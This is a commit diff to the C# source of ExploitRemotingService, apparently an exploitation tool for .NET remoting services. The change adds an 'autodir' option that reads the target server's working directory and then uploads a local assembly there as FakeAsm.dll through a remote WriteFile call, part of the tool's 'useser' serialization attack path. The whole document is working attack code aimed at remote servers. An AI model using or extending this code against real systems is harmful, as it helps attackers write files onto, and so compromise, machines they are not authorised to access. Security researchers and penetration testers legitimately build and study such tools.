Added an autodir option.

Author: tyranid

ExploitRemotingService/Program.cs

@@ -50,6 +50,7 @@ class Program
         private static bool _secure;
         private static int _ver;
         private static bool _null_uri;
+        private static bool _autodir;
         private static string _remotename;
         private static bool _usecom;
         private static bool _useser;
@@ -148,6 +149,7 @@ private static bool ProcessArgs(string[] args)
             _remotename = Guid.Empty.ToString();
             _ver = 0;
             _null_uri = false;
+            _autodir = false;
 
             OptionSet p = new OptionSet() {
                     { "s|secure", "Enable secure mode", v => _secure = v != null },
@@ -170,6 +172,7 @@ private static bool ProcessArgs(string[] args)
                     { "useser", "Uses old serialization tricks, only works on full type filter services",
                         v => _useser = v != null },
                     { "nulluri", "Don't send the URI header to the server", v => _null_uri = v != null },
+                    { "autodir", "When useser is specified try and automatically work out the installdir parameter from the server's current directory.", v => _autodir = v != null },
                     { "installdir=", "Specify the install directory of the service executable to enable full support with useser",
                             v => _installdir = v },
                        { "h|?|help",   v => showhelp = v != null },
@@ -263,8 +266,14 @@ private static IRemoteClass GetExistingRemoteClass()
         private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
         {
             SerializerRemoteClass remote = new SerializerRemoteClass(channel);
-            if (!string.IsNullOrWhiteSpace(_installdir))
+            if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
             {
+                if (_autodir)
+                {
+                    DirectoryInfo curr_dir = remote.GetDirectory(".");
+                    _installdir = curr_dir.FullName;
+                }
+
                 string path = Path.Combine(_installdir, "FakeAsm.dll");
                 bool installed = true;
 
@@ -279,11 +288,9 @@ private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
 
                 if (!installed)
                 {
-                    Uri uri = new Uri(typeof(IRemoteClass).Assembly.CodeBase, UriKind.Absolute);
-
                     try
                     {
-                        remote.WriteFile(path, File.ReadAllBytes(uri.LocalPath));
+                        remote.WriteFile(path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location));
                     }
                     catch
                     {